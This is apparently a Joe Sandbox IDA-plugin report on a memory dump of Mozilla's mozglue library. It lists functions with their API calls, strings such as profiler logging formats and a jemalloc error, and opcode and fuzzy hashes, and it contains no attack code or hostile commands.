free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB185AC

Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1767F
Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB17693
Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB185B2

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 566011c55ab49042c5fa3aeecd0dc96ac5fe0dc2e89a07569d4958a94e214c8c
Instruction ID: e38e1ff56de912802da62a59eb3f70e09cec51ed865845ca914a7992129d7425
Opcode Fuzzy Hash: 566011c55ab49042c5fa3aeecd0dc96ac5fe0dc2e89a07569d4958a94e214c8c
Instruction Fuzzy Hash: F9218D742046418FDB14DF29C888A6AB7B9FF4430CF25482DE55F83B41DB32E948CB52

Function 6CB1F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB1F598), ref: 6CB1F621

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F637
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F645
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB1F62A

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 746b8c99cd85f2416925abbf21e3bdd4f04cd0aa3ca98bd645b1139e5e972e2a
Instruction ID: a70fdbb0ed5b8aecad28a23f96d3aa6898d26f7e7cb6a767a035101634721ba9
Opcode Fuzzy Hash: 746b8c99cd85f2416925abbf21e3bdd4f04cd0aa3ca98bd645b1139e5e972e2a
Instruction Fuzzy Hash: 2111C675305284ABDB04AF59D8489E9B779FF8636CB940415EA05C3F41CB72AC21CBA1

Function 6CAE0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB0D9F0,00000000), ref: 6CAE0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAE0F3C
__Init_thread_footer.LIBCMT ref: 6CAE0F50
FreeLibrary.KERNEL32(?,6CB0D9F0,00000000), ref: 6CAE0F86

Strings

combase.dll, xrefs: 6CAE0F18
CoInitializeEx, xrefs: 6CAE0F36

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b5a663bba1cae27ec6b9cdd66e9bed505e41db6150ad711bc985332bb1434afd
Instruction ID: bda3be2ccb396f648877883dd6a7f2151781772c3d9bac320cbdcad2c612eaaf
Opcode Fuzzy Hash: b5a663bba1cae27ec6b9cdd66e9bed505e41db6150ad711bc985332bb1434afd
Instruction Fuzzy Hash: B311C2757052809BDF00DF54E908E5ABB74FB4E325F884629E90593744DB30E851DA95

Function 6CB1F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F561

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F577
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F585
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CB1F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB1F56A
[I %d/%d] profiler_resume, xrefs: 6CB1F239
[I %d/%d] profiler_resume_sampling, xrefs: 6CB1F499

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3dc9a83f43f552dcaf22ba6f66cbe0a813a3ee4b079c02673abe2642e1ad7a41
Instruction ID: 96d1669424cde2b8d6835f79c8f3abcaafc6dcc1d4925fdca853dad14fe0b5f0
Opcode Fuzzy Hash: 3dc9a83f43f552dcaf22ba6f66cbe0a813a3ee4b079c02673abe2642e1ad7a41
Instruction Fuzzy Hash: C1F089757043849FEF006F65D84896EB7BDEB862ADF840415FA05D3B01DB754C05C765

Function 6CB1F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB1F598), ref: 6CB1F621

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F637
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F645
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB1F62A

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 951b5a01389065cdda92a6244e4f5046984b7fc1be68252006be0793db8a96d1
Instruction ID: 54f342bb211d782462c164165bfc34c6f97be1f131ec9e009df453a5a6864313
Opcode Fuzzy Hash: 951b5a01389065cdda92a6244e4f5046984b7fc1be68252006be0793db8a96d1
Instruction Fuzzy Hash: BEF08275704384AFEF006F65D848AAABBBDEB8A2ADF840415FA05D3B41CB764C05CB75

Function 6CB105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB0CFAE,?,?,?,6CAD31A7), ref: 6CB105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB0CFAE,?,?,?,6CAD31A7), ref: 6CB10616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAD31A7), ref: 6CB1061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAD31A7), ref: 6CB10627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB1061B, 6CB10625
<jemalloc>, xrefs: 6CB105FA, 6CB1060F

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: aec3797a53cb152ab92f35248fdacf5cde6c038a58ba0ba835b6625231e14e2d
Instruction ID: 4ca2ff03751c897311188b7f8921b97ac33b4f9aac7fc63901ad7eae4e1c3a23
Opcode Fuzzy Hash: aec3797a53cb152ab92f35248fdacf5cde6c038a58ba0ba835b6625231e14e2d
Instruction Fuzzy Hash: 9BE08CE2A0515037F5142256AC86DBB761DDBC6538F080039FD0D83301E95AAD1E61F6

Function 6CAE05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74eae203fccf25cce24fa0ec93f0b99c23304365e1ae95f0a3ac04cf9cac28e1
Instruction ID: a37897ad48856f16fd494389f66f5e0b1d6d08cbd3e441d1b0989cfd1cc3abe4
Opcode Fuzzy Hash: 74eae203fccf25cce24fa0ec93f0b99c23304365e1ae95f0a3ac04cf9cac28e1
Instruction Fuzzy Hash: D8A138B0A00645CFDB14CF29C594B9AFBF1BF49304F54866ED48A97B00EB70A995DF90

Function 6CB314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB314E2
GetCurrentThreadId.KERNEL32 ref: 6CB31546
InitializeConditionVariable.KERNEL32(?), ref: 6CB315BA
free.MOZGLUE(?), ref: 6CB316B4

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: daede5e9ba1526055539c3cd6f11ea29fcda25f6e8d281274f3a506a50af4759
Instruction ID: a6830df479d55ba2cb457206573ea7d993928a5827ebb7d081de66dc0df97b19
Opcode Fuzzy Hash: daede5e9ba1526055539c3cd6f11ea29fcda25f6e8d281274f3a506a50af4759
Instruction Fuzzy Hash: 1C610371A007949BDB118F21C880BEEB7B8FF89308F49951CED8A57701DB34E949CB92

Function 6CB2DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB2D38A,?), ref: 6CB2DC6F
free.MOZGLUE(?,?,?,?,?,6CB2D38A,?), ref: 6CB2DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB2D38A,?), ref: 6CB2DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB2D38A,?), ref: 6CB2DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB2D38A,?), ref: 6CB2DD4A

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7b03e80abb32786effb1fb7bf33074ad55347ca31ad0912f0f10c0a263a4a2ba
Instruction ID: 1a2a695937b84f6cad00caa3d2188a382b331d051ab84d19fb4f73b399f0bf45
Opcode Fuzzy Hash: 7b03e80abb32786effb1fb7bf33074ad55347ca31ad0912f0f10c0a263a4a2ba
Instruction Fuzzy Hash: DE418D75A00615CFCB04CFA9D8809AEBBF5FF88314B554569D94AA7B10D735FC41CB90

Function 6CB16590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0FA80: GetCurrentThreadId.KERNEL32 ref: 6CB0FA8D
Part of subcall function 6CB0FA80: AcquireSRWLockExclusive.KERNEL32(6CB5F448), ref: 6CB0FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB16727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB167C8

Part of subcall function 6CB24290: memcpy.VCRUNTIME140(?,?,6CB32003,6CB30AD9,?,6CB30AD9,00000000,?,6CB30AD9,?,00000004,?,6CB31A62,?,6CB32003,?), ref: 6CB242C4

Strings

data, xrefs: 6CB16593

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 3cdc8bb839bc77594f70b8464506a0e22e13db428d5130475f72b2e1f263db06
Instruction ID: 0ffdcd56c23d30d122d0fe82fe84b9b72cb531103b7686232bad4b5e07821714
Opcode Fuzzy Hash: 3cdc8bb839bc77594f70b8464506a0e22e13db428d5130475f72b2e1f263db06
Instruction Fuzzy Hash: E1D1AF75A083808BD724DF25D851BAEBBE5EFD5308F10892DE58987B91DB30A849CB53

Function 6CB0D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CADEB57,?,?,?,?,?,?,?,?,?), ref: 6CB0D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CADEB57,?), ref: 6CB0D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CADEB57,?), ref: 6CB0D673
free.MOZGLUE(?), ref: 6CB0D888

Strings

|Enabled, xrefs: 6CB0D81E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: b4630a2d7f972ddf8e07b6c138b9fcaac1f40cb734f85dea3eba2085e6852527
Instruction ID: 3b8fe5846bbc6d3b27e2489d7f63d8c802b6cd2cd5e9f005d4ce1cd508d1d3a3
Opcode Fuzzy Hash: b4630a2d7f972ddf8e07b6c138b9fcaac1f40cb734f85dea3eba2085e6852527
Instruction Fuzzy Hash: 5FA1D0B0A003858FDB11CF68D4907AEBFF1EF49318F58805CD899AB781D735A849CBA1

Function 6CB0F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB0F480

Part of subcall function 6CADF100: LoadLibraryW.KERNEL32(shell32,?,6CB4D020), ref: 6CADF122
Part of subcall function 6CADF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CADF132

CloseHandle.KERNEL32(00000000), ref: 6CB0F555

Part of subcall function 6CAE14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE1248,6CAE1248,?), ref: 6CAE14C9
Part of subcall function 6CAE14B0: memcpy.VCRUNTIME140(?,6CAE1248,00000000,?,6CAE1248,?), ref: 6CAE14EF

Part of subcall function 6CADEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CADEEE3

CreateFileW.KERNEL32 ref: 6CB0F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB0F523

Strings

\oleacc.dll, xrefs: 6CB0F4CB

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 03561626bea0e251f0d3c3f162850e1fc73dceb2635f82654c5f836e4fe56ca0
Instruction ID: 6b9993fa5365864a049c41bd96603409858e4771028af93ad0228f1cd31d0b75
Opcode Fuzzy Hash: 03561626bea0e251f0d3c3f162850e1fc73dceb2635f82654c5f836e4fe56ca0
Instruction Fuzzy Hash: 9541B2307087909FE721DF28D985A9BBBF4EF44318F504A1CF59183650EB30E989CB96

Function 6CB374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB37526
__Init_thread_footer.LIBCMT ref: 6CB37566
__Init_thread_footer.LIBCMT ref: 6CB37597

Strings

kernel32.dll, xrefs: 6CB37557
UnmapViewOfFile2, xrefs: 6CB37552

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 565d340e6cd476fd02d423b28d93bea832594522e5b6fd34d1a221e5bfbed59b
Instruction ID: b47c3976392f64a9d7b7a573f562c2e7a339af7c4ed87ab437450319430f6411
Opcode Fuzzy Hash: 565d340e6cd476fd02d423b28d93bea832594522e5b6fd34d1a221e5bfbed59b
Instruction Fuzzy Hash: 7F2149357005D1EFCB188FE9C914E5E7775EB5A334F451528E40A67F80C770B811CAA6

Function 6CB3C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB3C0E9), ref: 6CB3C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB3C437
FreeLibrary.KERNEL32(?,6CB3C0E9), ref: 6CB3C44C

Strings

ntdll.dll, xrefs: 6CB3C413
NtQueryVirtualMemory, xrefs: 6CB3C431

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
